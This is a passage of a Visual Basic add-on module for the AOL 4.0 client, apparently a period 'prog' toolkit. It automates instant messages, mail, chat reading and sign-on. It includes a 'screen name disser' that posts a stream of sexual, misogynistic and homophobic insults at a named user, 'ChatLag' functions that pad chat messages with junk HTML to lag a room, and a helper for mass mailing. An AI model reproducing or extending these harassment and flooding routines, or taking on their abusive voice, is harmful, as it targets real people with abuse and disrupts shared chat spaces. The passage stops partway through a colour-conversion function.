  6728. If Titl% <> 0 And Icona% <> 0 And Edi% <> 0 And Rich% <> 0 Then Exit Do
  6729. Loop
  6730. FILL = SendMessageByString(Edi%, WM_SETTEXT, 0, Who)
  6731.    edi2% = GetWindow(Edi%, GW_HWNDNEXT)
  6732.      edi3% = GetWindow(edi2%, GW_HWNDNEXT)
  6733.       edi4% = GetWindow(edi3%, GW_HWNDNEXT)
  6734.           edi5% = GetWindow(edi4%, GW_HWNDNEXT)
  6735. FILL = SendMessageByString(edi5%, WM_SETTEXT, 0, Subj)
  6736. FILL = SendMessageByString(Rich%, WM_SETTEXT, 0, Wat)
  6737.  
  6738. End Function
  6739.  
  6740.  
  6741. Function ErrorRScreenNameDis(Nam As String)
  6742. Call ErrorRsenD("Screen Name Disser now dissing " & Nam)
  6743. Wait (0.5)
  6744. For X = 1 To Len(Nam)
  6745. lcse$ = LCase(Nam)
  6746. letr$ = Mid(lcse$, X, 1)
  6747. If letr$ = "a" Then Let dis$ = "<Font Color=#D40000><b>a -is for the animals your momma fucks": GoTo Dissem
  6748. If letr$ = "b" Then Let dis$ = "<Font Color=#D40000><b>b -is for all the boys you love": GoTo Dissem
  6749. If letr$ = "c" Then Let dis$ = "<Font Color=#D40000><b>c -is for the cunt you are": GoTo Dissem
  6750. If letr$ = "d" Then Let dis$ = "<Font Color=#D40000><b>d -is for all the times your dissed": GoTo Dissem
  6751. If letr$ = "e" Then Let dis$ = "<Font Color=#D40000><b>e -is for that egghead of yours": GoTo Dissem
  6752. If letr$ = "f" Then Let dis$ = "<Font Color=#D40000><b>f -is for the way FreaK smackz ya": GoTo Dissem
  6753. If letr$ = "g" Then Let dis$ = "<Font Color=#D40000><b>g -is for the pussy you never had": GoTo Dissem
  6754. If letr$ = "h" Then Let dis$ = "<Font Color=#D40000><b>h -is for the whore your momma is": GoTo Dissem
  6755. If letr$ = "i" Then Let dis$ = "<Font Color=#D40000><b>i -is for the idiotic dumbass you are": GoTo Dissem
  6756. If letr$ = "j" Then Let dis$ = "<Font Color=#D40000><b>j -is for all the times you jerkoff to your dog": GoTo Dissem
  6757. If letr$ = "k" Then Let dis$ = "<Font Color=#D40000><b>k -is for you self esteem that the cool kids killed": GoTo Dissem
  6758. If letr$ = "l" Then Let dis$ = "<Font Color=#D40000><b>l -is for the lame ass you are": GoTo Dissem
  6759. If letr$ = "m" Then Let dis$ = "<Font Color=#D40000><b>m -is for the many men you sucked": GoTo Dissem
  6760. If letr$ = "n" Then Let dis$ = "<Font Color=#D40000><b>n -is for the nights you spent stick a night stick up your ass": GoTo Dissem
  6761. If letr$ = "o" Then Let dis$ = "<Font Color=#D40000><b>o -is for the sex operation you had": GoTo Dissem
  6762. If letr$ = "p" Then Let dis$ = "<Font Color=#D40000><b>p -is for the times people p on you": GoTo Dissem
  6763. If letr$ = "q" Then Let dis$ = "<Font Color=#D40000><b>q -is for the queer you are": GoTo Dissem
  6764. If letr$ = "r" Then Let dis$ = "<Font Color=#D40000><b>r -is for all the times |2eV raped your sister": GoTo Dissem
  6765. If letr$ = "s" Then Let dis$ = "<Font Color=#D40000><b>s -is for your lover Steve Case": GoTo Dissem
  6766. If letr$ = "t" Then Let dis$ = "<Font Color=#D40000><b>t -is for the tits youll never see": GoTo Dissem
  6767. If letr$ = "u" Then Let dis$ = "<Font Color=#D40000><b>u -is for your underwear that you take shits on": GoTo Dissem
  6768. If letr$ = "v" Then Let dis$ = "<Font Color=#D40000><b>v -is for the victories you'll see": GoTo Dissem
  6769. If letr$ = "w" Then Let dis$ = "<Font Color=#D40000><b>w -is for the worm's you got up ur ass":  GoTo Dissem
  6770. If letr$ = "x" Then Let dis$ = "<Font Color=#D40000><b>x -is for all the lamers who" & Chr(34) & "[x]'ed" & Chr(34) & " you online": GoTo Dissem
  6771. If letr$ = "y" Then Let dis$ = "<Font Color=#D40000><b>y -is for the question of, y your even alive?": GoTo Dissem
  6772. If letr$ = "z" Then Let dis$ = "<Font Color=#D40000><b>z -is for zero which is what you are":  GoTo Dissem
  6773.  
  6774. If letr$ = "1" Then Let dis$ = "<Font Color=#D40000><b>1 -is for the only pussy you ever seen": GoTo Dissem
  6775. If letr$ = "2" Then Let dis$ = "<Font Color=#D40000><b>2 -is for the 2 dollars you make an hour": GoTo Dissem
  6776. If letr$ = "3" Then Let dis$ = "<Font Color=#D40000><b>3 -is for the amount of men your girl takes at once": GoTo Dissem
  6777. If letr$ = "4" Then Let dis$ = "<Font Color=#D40000><b>4 -is for your mom buying crack off me":  GoTo Dissem
  6778. If letr$ = "5" Then Let dis$ = "<Font Color=#D40000><b>5 -is for 5 times an hour you whack off": GoTo Dissem
  6779. If letr$ = "6" Then Let dis$ = "<Font Color=#D40000><b>6 -is for the years you been single": GoTo Dissem
  6780. If letr$ = "7" Then Let dis$ = "<Font Color=#D40000><b>7 -is for the times your girl cheated on you..with me": GoTo Dissem
  6781. If letr$ = "8" Then Let dis$ = "<Font Color=#D40000><b>8 -is for how many people beat the hell outta you today": GoTo Dissem
  6782. If letr$ = "9" Then Let dis$ = "<Font Color=#D40000><b>9 -is for how many boyfriends your momma has": GoTo Dissem
  6783. If letr$ = "0" Then Let dis$ = "<Font Color=#D40000><b>0 -is for the amount of girls you get": GoTo Dissem
  6784.  
  6785. Dissem:
  6786. Call ErrorRsenD(dis$)
  6787.  
  6788. Wait (0.5)
  6789. Next X
  6790.  
  6791. End Function
  6792. Function ChatFontSend(WatFont As String, txt As String)
  6793. 'the font is Case Sensative so try using
  6794. 'the idea i gave in the function to add
  6795. 'Fonts to a filelistbox
  6796. Call ErrorRsenD("<Font Face=" & Chr(34) & WatFont & Chr(34) & ">" & txt)
  6797. 'to use this in a normal way use
  6798. 'Call ChatFontSend("Wingdings", "blah blah blah")
  6799. ' or Call ChatFontSend(text1.text, "blah blah blah")
  6800. End Function
  6801.  
  6802. Function GetRoomTitle()
  6803. Dim RoomTit%, lent%, Titl%, Final$, Strn$
  6804. RoomTit% = FindChat
  6805.  
  6806. lent% = GetWindowTextLength(RoomTit%)
  6807. Strn$ = String$(200, 0)
  6808. Titl% = GetWindowText(RoomTit%, Strn$, (lent% + 1))
  6809. Final$ = CStr(Strn$)
  6810. GetRoomTitle = Final$
  6811.  
  6812. End Function
  6813. Function GetClass(child)
  6814. buffer$ = String$(250, 0)
  6815. getclas% = GetClassName(child, buffer$, 250)
  6816.  
  6817. GetClass = buffer$
  6818. End Function
  6819.  
  6820.  
  6821. Function TextFromIm()
  6822. 'gets text from ims
  6823. On Error Resume Next
  6824. aol% = FindWindow("AOL Frame25", vbNullString)
  6825. mdi% = FindChildByClass(aol%, "MDIClient")
  6826. TIT% = FindChildByTitle(mdi%, ">Instant Message From:")
  6827. tit2% = FindChildByTitle(mdi%, " Instant Message From:")
  6828. tit3% = FindChildByTitle(mdi%, " Instant Message To:")
  6829. If TIT% <> 0 Then
  6830. Rich% = FindChildByClass(TIT%, "RICHCNTL")
  6831. SendNum = SendMessageByNum(Rich%, 14, 0&, 0&)
  6832. Trimit$ = Space$(SendNum)
  6833. last = SendMessageByString(Rich%, 13, SendNum + 1, Trimit$)
  6834. Final$ = CStr(Trimit$)
  6835. TextFromIm = Final$
  6836. ElseIf tit2% <> 0 Then
  6837. Rich% = FindChildByClass(tit2%, "RICHCNTL")
  6838. SendNum = SendMessageByNum(Rich%, 14, 0&, 0&)
  6839. Trimit$ = Space$(SendNum)
  6840. last = SendMessageByString(Rich%, 13, SendNum + 1, Trimit$)
  6841. Final$ = CStr(Trimit$)
  6842. TextFromIm = Final$
  6843. ElseIf tit3% <> 0 Then
  6844. Rich% = FindChildByClass(tit3%, "RICHCNTL")
  6845. SendNum = SendMessageByNum(Rich%, 14, 0&, 0&)
  6846. Trimit$ = Space$(SendNum)
  6847. last = SendMessageByString(Rich%, 13, SendNum + 1, Trimit$)
  6848. Final$ = CStr(Trimit$)
  6849. TextFromIm = Final$
  6850. End If
  6851.  
  6852. End Function
  6853.  
  6854. Function GetUserSn()
  6855. 'a lot of people want the users name
  6856. 'in lower case for some wierd reason
  6857. 'to do that then x = LCase(AOL40GetUser)
  6858. 'will make x = the lower case of the name     and who said the hound dont help ya out
  6859. aol% = FindWindow("AOL Frame25", vbNullString)
  6860. mdi% = FindChildByClass(aol%, "MDIClient")
  6861. weltit% = FindChildByTitle(mdi%, "Welcome,")
  6862. lent% = GetWindowTextLength(weltit%)
  6863. strin$ = String$(200, 0)
  6864. Titl% = GetWindowText(weltit%, strin$, (lent% + 1))
  6865. SName$ = Mid$(strin$, 10, (InStr(strin$, "!") - 10))
  6866. GetUserSn = SName$
  6867. End Function
  6868.  
  6869. Function InstantMessage(Who As String, Wat As String)
  6870. 'this method doesnt kill the window that comes up
  6871. 'if member isnt online, use method 2 for that
  6872. Call Keyword("aol://9293:" & Who)
  6873. Do: DoEvents
  6874. aol% = FindWindow("AOL Frame25", vbNullString)
  6875. mdi% = FindChildByClass(aol%, "MDIClient")
  6876. TIT% = FindChildByTitle(mdi%, "Send Instant Message")
  6877. Rich% = FindChildByClass(TIT%, "RICHCNTL")
  6878. Icona% = FindChildByClass(TIT%, "_AOL_Icon")
  6879. If TIT% <> 0 And Rich% <> 0 And Icona% <> 0 Then Exit Do
  6880. Loop
  6881. fillit = SendMessageByString(Rich%, WM_SETTEXT, 0, Wat)
  6882. For i = 1 To 9
  6883. Icona% = GetWindow(Icona%, GW_HWNDNEXT)
  6884. Next i
  6885. clickit = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&)
  6886. clickit = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&)
  6887.  
  6888. End Function
  6889. Function InstantMessage2(Who As String, Wat As String, HLong As Integer)
  6890. 'this method kills the window if member isnt online
  6891. 'ill let you pick how long the delay is
  6892. 'for a one second delay before it looks for that window
  6893. 'use Call InstantMessage2("user123","hey what up?",1)
  6894. Call Keyword("aol://9293:" & Who)
  6895. Do: DoEvents
  6896. aol% = FindWindow("AOL Frame25", vbNullString)
  6897. mdi% = FindChildByClass(aol%, "MDIClient")
  6898. TIT% = FindChildByTitle(mdi%, "Send Instant Message")
  6899. Rich% = FindChildByClass(TIT%, "RICHCNTL")
  6900. Icona% = FindChildByClass(TIT%, "_AOL_Icon")
  6901. If TIT% <> 0 And Rich% <> 0 And Icona% <> 0 Then Exit Do
  6902. Loop
  6903. fillit = SendMessageByString(Rich%, WM_SETTEXT, 0, Wat)
  6904. For i = 1 To 9
  6905. Icona% = GetWindow(Icona%, GW_HWNDNEXT)
  6906. Next i
  6907. clickit = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&)
  6908. clickit = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&)
  6909. Wait (HLong)
  6910.     annoying% = FindWindow("#32770", vbNullString)
  6911.         If annoying% <> 0 Then
  6912.              closeit = SendMessage(annoying%, WM_CLOSE, 0, 0&)
  6913.              closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&)
  6914.         End If
  6915.  
  6916. End Function
  6917. Function OnlineOrNot() As Boolean
  6918. 'for 4.0
  6919. aol% = FindWindow("AOL Frame25", vbNullString)
  6920. mdi% = FindChildByClass(aol%, "MDIClient")
  6921. TIT% = FindChildByClass(mdi%, "Welcome,")
  6922. If TIT% <> 0 Then
  6923. OnlineOrNot = True
  6924. Else
  6925. OnlineOrNot = False
  6926. End If
  6927.  
  6928. End Function
  6929.  
  6930. Function Keyword(word As String)
  6931. aol% = FindWindow("AOL Frame25", vbNullString)
  6932. tool% = FindChildByClass(aol%, "AOL Toolbar")
  6933. toolb% = FindChildByClass(tool%, "_AOL_Toolbar")
  6934. Comb% = FindChildByClass(toolb%, "_AOL_Combobox")
  6935. Edi% = FindChildByClass(Comb%, "Edit")
  6936.  
  6937.   fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, word)
  6938.  
  6939. clickit = SendMessageByNum(Edi%, WM_CHAR, VK_SPACE, 0&)
  6940. clickit = SendMessageByNum(Edi%, WM_CHAR, 13, 0&)
  6941.  
  6942. End Function
  6943.  
  6944. Function LastChatLine1()
  6945. Dim Chil%, one$, Rich%, SendNum, Trimit$, last, LastLine$, Richcntl$
  6946. Dim i As Integer
  6947. Chil% = FindChat
  6948. Rich% = FindChildByClass(Chil%, "RICHCNTL")
  6949.  
  6950. SendNum = SendMessageByNum(Rich%, 14, 0&, 0&)
  6951. Trimit$ = Space$(SendNum)
  6952. last = SendMessageByString(Rich%, 13, SendNum + 1, Trimit$)
  6953.  
  6954. Richcntl$ = Trimit$
  6955. X$ = Richcntl$
  6956.  
  6957. For i = 1 To Len(X$)
  6958. one$ = Mid(X$, i, 1)
  6959. LastLine$ = LastLine$ & one$
  6960. If one$ = Chr(13) Then Let LastLine$ = ""
  6961. Next i
  6962. LastChatLine = LastLine$
  6963.  
  6964. End Function
  6965.  
  6966.  
  6967. Function LastLineSN()
  6968. Dim LastLine$, SnText$
  6969. LastLine$ = LastChatLine
  6970. For X = 1 To Len(LastLine$)
  6971. i$ = Mid(LastLine$, X, 1)
  6972.     If i$ = ":" Then
  6973.         Let i$ = ""
  6974.         Exit For
  6975.     End If
  6976.     SnText$ = SnText$ & i$
  6977.         Next X
  6978. LastLineSN = SnText$
  6979. End Function
  6980. Function LastChatLineWithSN1()
  6981. chattext$ = GetchatText
  6982.  
  6983. For FindChar = 1 To Len(chattext$)
  6984.  
  6985. thechar$ = Mid(chattext$, FindChar, 1)
  6986. thechars$ = thechars$ & thechar$
  6987.  
  6988. If thechar$ = Chr(13) Then
  6989. TheChatText$ = Mid(thechars$, 1, Len(thechars$) - 1)
  6990. thechars$ = ""
  6991. End If
  6992.  
  6993. Next FindChar
  6994.  
  6995. lastlen = Val(FindChar) - Len(thechars$)
  6996. LastLine = Mid(chattext$, lastlen, Len(thechars$))
  6997.  
  6998. LastChatLineWithSN = LastLine
  6999. End Function
  7000.  
  7001.  
  7002.  
  7003. Function AOL30_LastLineSN()
  7004. LastLine$ = AOL30_LastChatLine
  7005. For X = 1 To Len(LastLine$)
  7006. i$ = Mid(LastLine$, X, 1)
  7007.     If i$ = ":" Then
  7008.         Let i$ = ""
  7009.         Exit For
  7010.     End If
  7011.     SnText$ = SnText$ & i$
  7012.         Next X
  7013. AOL30_LastLineSN = SnText$
  7014. End Function
  7015. Function LastLineText()
  7016. Dim LastLine$, txt$
  7017. Dim i As String
  7018. Dim X As Integer
  7019. LastLine$ = LastChatLine
  7020. For X = 1 To Len(LastLine$)
  7021. i$ = Mid(LastLine$, X, 1)
  7022. txt$ = txt$ & i$
  7023. If i$ = Chr(9) Then
  7024. Let i$ = ""
  7025. txt$ = ""
  7026. End If
  7027.  
  7028.  
  7029. Next X
  7030. LastLineText = txt$
  7031. End Function
  7032.  
  7033. Function AOL30_LastLineText()
  7034. 'gives the lst line without the screen name
  7035. LastLine$ = AOL30_LastChatLine
  7036. For X = 1 To Len(LastLine$)
  7037. i$ = Mid(LastLine$, X, 1)
  7038. txt$ = txt$ & i$
  7039. If i$ = Chr(9) Then
  7040. Let i$ = ""
  7041. txt$ = ""
  7042. End If
  7043.  
  7044.  
  7045. Next X
  7046. AOL30_LastLineText = txt$
  7047.  
  7048. End Function
  7049.  
  7050.  
  7051. Function SendMailSpecial(Who, Subj, Wat)
  7052. 'Same mail code as the other one except that
  7053. 'this waits for the "Your mail has been sent"
  7054. 'box to come up and closes it. For people who didnt
  7055. 'change that preference, just as good but a little
  7056. 'slower
  7057.  
  7058. aol% = FindWindow("AOL Frame25", vbNullString)
  7059. tool% = FindChildByClass(aol%, "AOL Toolbar")
  7060. toolb% = FindChildByClass(tool%, "_AOL_Toolbar")
  7061. Icona% = FindChildByClass(toolb%, "_AOL_Icon")
  7062. Icona% = GetWindow(Icona%, 2)
  7063. clickit = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&)
  7064. clickit = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&)
  7065. Do: DoEvents
  7066. mdi% = FindChildByClass(aol%, "MDIClient")
  7067. TIT% = FindChildByTitle(mdi%, "Write Mail")
  7068. Edi% = FindChildByClass(TIT%, "_AOL_Edit")
  7069. Rich% = FindChildByClass(TIT%, "RICHCNTL")
  7070. If TIT% <> 0 And Edi% <> 0 And Rich% <> 0 Then Exit Do
  7071. Loop
  7072. fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, Who)
  7073.     For n = 1 To 4
  7074.         Edi% = GetWindow(Edi%, GW_HWNDNEXT)
  7075.     Next n
  7076. fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, Subj)
  7077. fillit = SendMessageByString(Rich%, WM_SETTEXT, 0, Wat)
  7078.     For i = 1 To 22
  7079.         Edi% = GetWindow(Edi%, GW_HWNDNEXT)
  7080.     Next i
  7081.  
  7082. clickit = SendMessage(Edi%, WM_LBUTTONDOWN, 0, 0&)
  7083. clickit = SendMessage(Edi%, WM_LBUTTONUP, 0, 0&)
  7084. Wait (2)
  7085. Modal% = FindWindow("_AOL_Modal", vbNullString)
  7086. stat% = FindChildByClass(Modal%, "_AOL_Static")
  7087. iconb% = FindChildByClass(Modal%, "_AOL_Icon")
  7088. If iconb% <> 0 Then
  7089. closea = SendMessage(iconb%, WM_LBUTTONDOWN, 0, 0&)
  7090. closea = SendMessage(iconb%, WM_LBUTTONUP, 0, 0&)
  7091.  
  7092. End If
  7093.  
  7094. End Function
  7095.  
  7096.  
  7097. Function MyMailx(Who As String, Copy As String, subject As String, Mess As String)
  7098. 'its called MyMail cause i use this for the
  7099. 'mass mail function. its not exactly for you
  7100. aol% = FindWindow("AOL Frame25", vbNullString)
  7101. tool% = FindChildByClass(aol%, "AOL Toolbar")
  7102. toolb% = FindChildByClass(tool%, "_AOL_Toolbar")
  7103. Icona% = FindChildByClass(toolb%, "_AOL_Icon")
  7104. Icona% = GetWindow(Icona%, 2)
  7105. clickit = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&)
  7106. clickit = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&)
  7107. Do: DoEvents
  7108. mdi% = FindChildByClass(aol%, "MDIClient")
  7109. TIT% = FindChildByTitle(mdi%, "Write Mail")
  7110. Edi% = FindChildByClass(TIT%, "_AOL_Edit")
  7111. Rich% = FindChildByClass(TIT%, "RICHCNTL")
  7112. If TIT% <> 0 And Edi% <> 0 And Rich% <> 0 Then Exit Do
  7113. Loop
  7114. fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, Who)
  7115.     For n = 1 To 2
  7116.         Edi% = GetWindow(Edi%, GW_HWNDNEXT)
  7117.     Next n
  7118. fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, Copy)
  7119. For r = 1 To 2
  7120.         Edi% = GetWindow(Edi%, GW_HWNDNEXT)
  7121.     Next r
  7122.     fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, subject)
  7123. fillit = SendMessageByString(Rich%, WM_SETTEXT, 0, Mess)
  7124.     For i = 1 To 22
  7125.         Edi% = GetWindow(Edi%, GW_HWNDNEXT)
  7126.     Next i
  7127.  
  7128. clickit = SendMessage(Edi%, WM_LBUTTONDOWN, 0, 0&)
  7129. clickit = SendMessage(Edi%, WM_LBUTTONUP, 0, 0&)
  7130. End Function
  7131.  
  7132.  
  7133.  
  7134.  
  7135. Function PrivRoom(RoomName As String)
  7136. aol% = FindWindow("AOL Frame25", vbNullString)
  7137. tool% = FindChildByClass(aol%, "AOL Toolbar")
  7138. toolb% = FindChildByClass(tool%, "_AOL_Toolbar")
  7139. Comb% = FindChildByClass(toolb%, "_AOL_Combobox")
  7140. Edi% = FindChildByClass(Comb%, "Edit")
  7141.  
  7142.   fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, "aol://2719:2-2-" & RoomName)
  7143.  
  7144. clickit = SendMessageByNum(Edi%, WM_CHAR, VK_SPACE, 0&)
  7145. clickit = SendMessageByNum(Edi%, WM_CHAR, 13, 0&)
  7146. Wait (0.3)
  7147. Nope% = FindWindow("#32770", vbNullString)
  7148. If Nope% <> 0 Then
  7149. closeit = SendMessage(Nope%, WM_CLOSE, 0, 0&)
  7150. End If
  7151. End Function
  7152. Sub RunMenu(menu1 As Integer, menu2 As Integer)
  7153. Dim AOLWorks As Long
  7154. Static Working As Integer
  7155.  
  7156. AOLMenus% = GetMenu(FindWindow("AOL Frame25", vbNullString))
  7157. AOLSubMenu% = GetSubMenu(AOLMenus%, menu1)
  7158. AOLItemID = GetMenuItemID(AOLSubMenu%, menu2)
  7159. AOLWorks = CLng(0) * &H10000 Or Working
  7160. ClickAOLMenu = SendMessageByNum(FindWindow("AOL Frame25", vbNullString), 273, AOLItemID, 0&)
  7161.  
  7162. End Sub
  7163. Function ChangeChatStatic(Wat As String)
  7164. 'changes the label under the listbox
  7165. 'in the 4.0 chat room
  7166. Dim Chil%, Rich%, stat%, stat2%, stat3%, stat4%, X
  7167. Chil% = FindChat
  7168. Rich% = FindChildByClass(Chil%, "RICHCNTL")
  7169. stat% = FindChildByClass(Chil%, "_AOL_Static")
  7170.    stat2% = GetWindow(stat%, GW_HWNDNEXT)
  7171.         stat3% = GetWindow(stat2%, GW_HWNDNEXT)
  7172.             stat4% = GetWindow(stat3%, GW_HWNDNEXT)
  7173.  X = SendMessageByString(stat4%, WM_SETTEXT, 0, Wat)
  7174. End Function
  7175. Function ChangeChatCaption(Caption$)
  7176. 'changes the chatroom's caption
  7177. Dim caption1 As Long, captionchange As Long
  7178. caption1& = FindWindow("AIM_ChatWnd", vbNullString)
  7179. captionchange& = SendMessageByString(caption1&, WM_SETTEXT, 0, Caption$)
  7180. End Function
  7181.  
  7182. Function ChangeRoomNum(num)
  7183. 'what this does is change the number of
  7184. 'people it says are in a chat room
  7185. 'wierd but i stumbled on this when i was
  7186. 'workin on somethin else
  7187. Dim Chil%, Rich%, stat%, X
  7188. Chil% = FindChat
  7189. Rich% = FindChildByClass(Chil%, "RICHCNTL")
  7190. stat% = FindChildByClass(Chil%, "_AOL_Static")
  7191.  X = SendMessageByString(stat%, WM_SETTEXT, 0, num)
  7192. End Function
  7193.  
  7194. Function ChatLag(Wat As String)
  7195. 'this wont work till aol lets more then 90 characters in the lame rooom
  7196. ' but this is a great lag option -=)
  7197. For X = 1 To Len(Wat)
  7198. i$ = Mid(Wat, X, 1)
  7199.  
  7200. slow$ = slow$ & "<html></html><html></html>" & i$ & "<html></html><html></html>"
  7201. Next X
  7202. Wat = slow$
  7203. Call ErrorRsenD("<i>" & Wat)
  7204.  
  7205. End Function
  7206.  
  7207. Function ChatLag2(Wat As String)
  7208. For X = 1 To Len(Wat)
  7209. i$ = Mid(Wat, X, 1)
  7210.  
  7211. slow$ = slow$ & "<html></html><html></html><html></html>" & i$ & "<html></html><html></html><html></html>"
  7212. Next X
  7213. Wat = slow$
  7214. Call ErrorRsenD("<i>" & Wat)
  7215.  
  7216. End Function
  7217.  
  7218. Function ChatLag3(Wat As String)
  7219. For X = 1 To Len(Wat)
  7220. i$ = Mid(Wat, X, 1)
  7221.  
  7222. slow$ = slow$ & "<html></html><html></html><html></html><html></html>" & i$ & "<html></html><html></html><html></html><html></html>"
  7223. Next X
  7224. Wat = slow$
  7225. Call ErrorRsenD("<i>" & Wat)
  7226.  
  7227. End Function
  7228. Function SendChat(Wat As String)
  7229. 'this function dont work know more do to aol update
  7230. 'I now taged in a new on a better one
  7231. 'just use ex: ErrorRsenD " AOL SUX "
  7232. Dim rich7%, There, again, fillit
  7233. rich7% = FindChatEdit
  7234.  
  7235.  
  7236. fillit = SendMessageByString(rich7%, WM_SETTEXT, 0, Wat)
  7237. fillit = SendMessage(rich7%, WM_CHAR, 13, 0&)
  7238.     There = SendMessageByString(rich7%, WM_GETTEXTLENGTH, 0, 0&)
  7239. If There <> 0 Then
  7240.     again = SendMessage(rich7%, WM_CHAR, 13, 0&)
  7241. End If
  7242.  
  7243. End Function
  7244. Function CloseChat()
  7245. aol% = FindWindow("AOL Frame25", vbNullString)
  7246. mdi% = FindChildByClass(aol%, "MDIClient")
  7247. Chil% = FindChildByClass(mdi%, "AOL Child")
  7248. Combo% = FindChildByClass(Chil%, "_AOL_Combobox")
  7249. lis% = FindChildByClass(Chil%, "_AOL_Listbox")
  7250. Rich% = FindChildByClass(Chil%, "RICHCNTL")
  7251. If Chil% <> 0 And Combo% <> 0 And lis% <> 0 And Rich% <> 0 Then
  7252. closeit = SendMessage(Chil%, WM_CLOSE, 0, 0&)
  7253. End If
  7254. End Function
  7255. Sub MacroDraw(Text As String)
  7256. If Mid(Text$, Len(Text$), 1) <> Chr$(10) Then
  7257. Text$ = Text$ + Chr$(13) + Chr$(10)
  7258. End If
  7259. Do While (InStr(Text$, Chr$(13)) <> 0)
  7260. Counter = Counter + 1
  7261. ErrorRsenD Mid(Text$, 1, InStr(Text$, Chr(13)) - 1)
  7262. If Counter = 1 Then
  7263. TimeOut 1.2
  7264. Counter = 0
  7265. End If
  7266. Text$ = Mid(Text$, InStr(Text$, Chr(13) + Chr(10)) + 2)
  7267. Loop
  7268. End Sub
  7269.  
  7270. Function KillGlyph()
  7271. 'kill the annoying aol animation on the top right
  7272. aol% = FindWindow("AOL Frame25", vbNullString)
  7273. tool% = FindChildByClass(aol%, "AOL Toolbar")
  7274. toolb% = FindChildByClass(tool%, "_AOL_Toolbar")
  7275. Gly% = FindChildByClass(toolb%, "_AOL_Glyph")
  7276. If Gly% <> 0 Then
  7277. closeit = SendMessage(Gly%, WM_CLOSE, 0, 0&)
  7278. End If
  7279. End Function
  7280.  
  7281. Function LinkSend(URL As String, LinkName As String)
  7282. 'make the url just from www and on
  7283. 'this will add the http:\\ part
  7284. Call ErrorRsenD("< a href=" & Chr(34) & "Http:\\" & URL & Chr(34) & ">" & LinkName & "< /a>")
  7285.  
  7286.  
  7287. End Function
  7288. Function LinkSend2(URL As String, LinkName As String, Comments As String)
  7289. 'same as the first link send but lets you add
  7290. 'comments after the link
  7291. Call ErrorRsenD("< a href=" & Chr(34) & "Http:\\" & URL & Chr(34) & ">" & LinkName & "</a>" & " " & Comments)
  7292.  
  7293. End Function
  7294.  
  7295.  
  7296. Function SignOnWithPass(Pass As String)
  7297. 'this will sign a user onto aol4.0
  7298. 'this will also fill in there password
  7299.  
  7300. aol% = FindWindow("AOL Frame25", vbNullString)
  7301. mdi% = FindChildByClass(aol%, "MDIClient")
  7302. TIT% = FindChildByTitle(mdi%, "Goodbye From America Online")
  7303. tit2% = FindChildByTitle(mdi%, "Sign On")
  7304.  
  7305. If TIT% <> 0 Then
  7306. Edi% = FindChildByClass(TIT%, "_AOL_Edit")
  7307.  
  7308.  fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, Pass)
  7309. clickit = SendMessage(Edi%, WM_CHAR, 13, 0&)
  7310.  
  7311.  
  7312. ElseIf tit2% <> 0 Then
  7313. Edi% = FindChildByClass(tit2%, "_AOL_Edit")
  7314.  
  7315. fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, Pass)
  7316. clickit = SendMessage(Edi%, WM_CHAR, 13, 0&)
  7317.  
  7318. End If
  7319.  
  7320. End Function
  7321. Function SwitchSN(SN As String)
  7322. 'this will signoff from aol and
  7323. 'add the sn to its txtBox
  7324.  
  7325. 'ParHand1& = FindWindow("AOL Frame25", "America  Online")
  7326. 'OurParent& = FindWindowEx(ParHand1&, 0, "_AOL_Modal", vbNullString)
  7327. 'Hand1& = FindWindowEx(OurParent&, 0, "_AOL_Edit", vbNullString)
  7328. 'OurHandle& = FindWindowEx(OurParent&, Hand1&, "_AOL_Edit", vbNullString)
  7329.  
  7330. 'aol% = FindWindow("AOL Frame25", vbNullString)
  7331. 'mdi% = FindChildByClass(aol%, "MDIClient")
  7332. 'TT% = findchildbytitle(mdi%, "Goodbye From America Online")
  7333. Call ErrorRsenD("<b><FONT FACE=" & Chr$(34) & "Wingdings" & Chr$(34) & ">i<FONT FACE=" & Chr$(34) & "arial" & Chr$(34) & "><Font Color=#D40000><b>Switchen Sn's brb")
  7334. TimeOut 0.4
  7335. Call signoff
  7336. TimeOut 0.1
  7337. Call SwitchSN(strArgument1$)
  7338. Call AOLRunMenuByString("&Sign On Screen")
  7339. B% = FindChildByTitle(S1, "_AOL_ComboBox")
  7340. TimeOut 0.1
  7341. If B% = 0 Then
  7342. SendKeys "{enter}"
  7343. End If
  7344. 'tit2% = findchildbytitle(mdi%, "SIGN ON AGAIN") '
  7345.  
  7346. 'If TIT% <> 0 Then
  7347. 'Edi% = FindChildByClass(TIT%, "_AOL_Edit")
  7348.  
  7349. 'fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, Pass)
  7350. 'clickit = SendMessage(Edi%, WM_CHAR, 13, 0&)
  7351.  
  7352.  
  7353. 'ElseIf tit2% <> 0 Then
  7354. 'Edi% = FindChildByClass(tit2%, "_AOL_Edit")
  7355.  
  7356. 'fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, Pass)
  7357. 'clickit = SendMessage(Edi%, WM_CHAR, 13, 0&)
  7358.  
  7359.  
  7360. End Function
  7361. Sub AOLRunMenuByString(stringer As String)
  7362. 'This searches all the popup menus for the item you
  7363. 'want to find on AOL
  7364. Call RunMenuByString(AOLWindow(), stringer)
  7365. End Sub
  7366. Function AOLWindow()
  7367. 'This sets focus on the AOL window
  7368. AOLWindow = FindWindow("AOL Frame25", vbNullString)
  7369. End Function
  7370. Function RGB2HEX(r, G, B)
  7371.     Dim X&
  7372.     Dim xx&
  7373.     Dim Color&
  7374.     Dim Divide
  7375.     Dim Answer&
  7376.     Dim Remainder&
  7377.     Dim Configuring$
  7378.     For X& = 1 To 3
  7379.         If X& = 1 Then Color& = B
  7380.         If X& = 2 Then Color& = G
  7381.         If X& = 3 Then Color& = r
  7382.         For xx& = 1 To 2
  7383.             Divide = Color& / 16
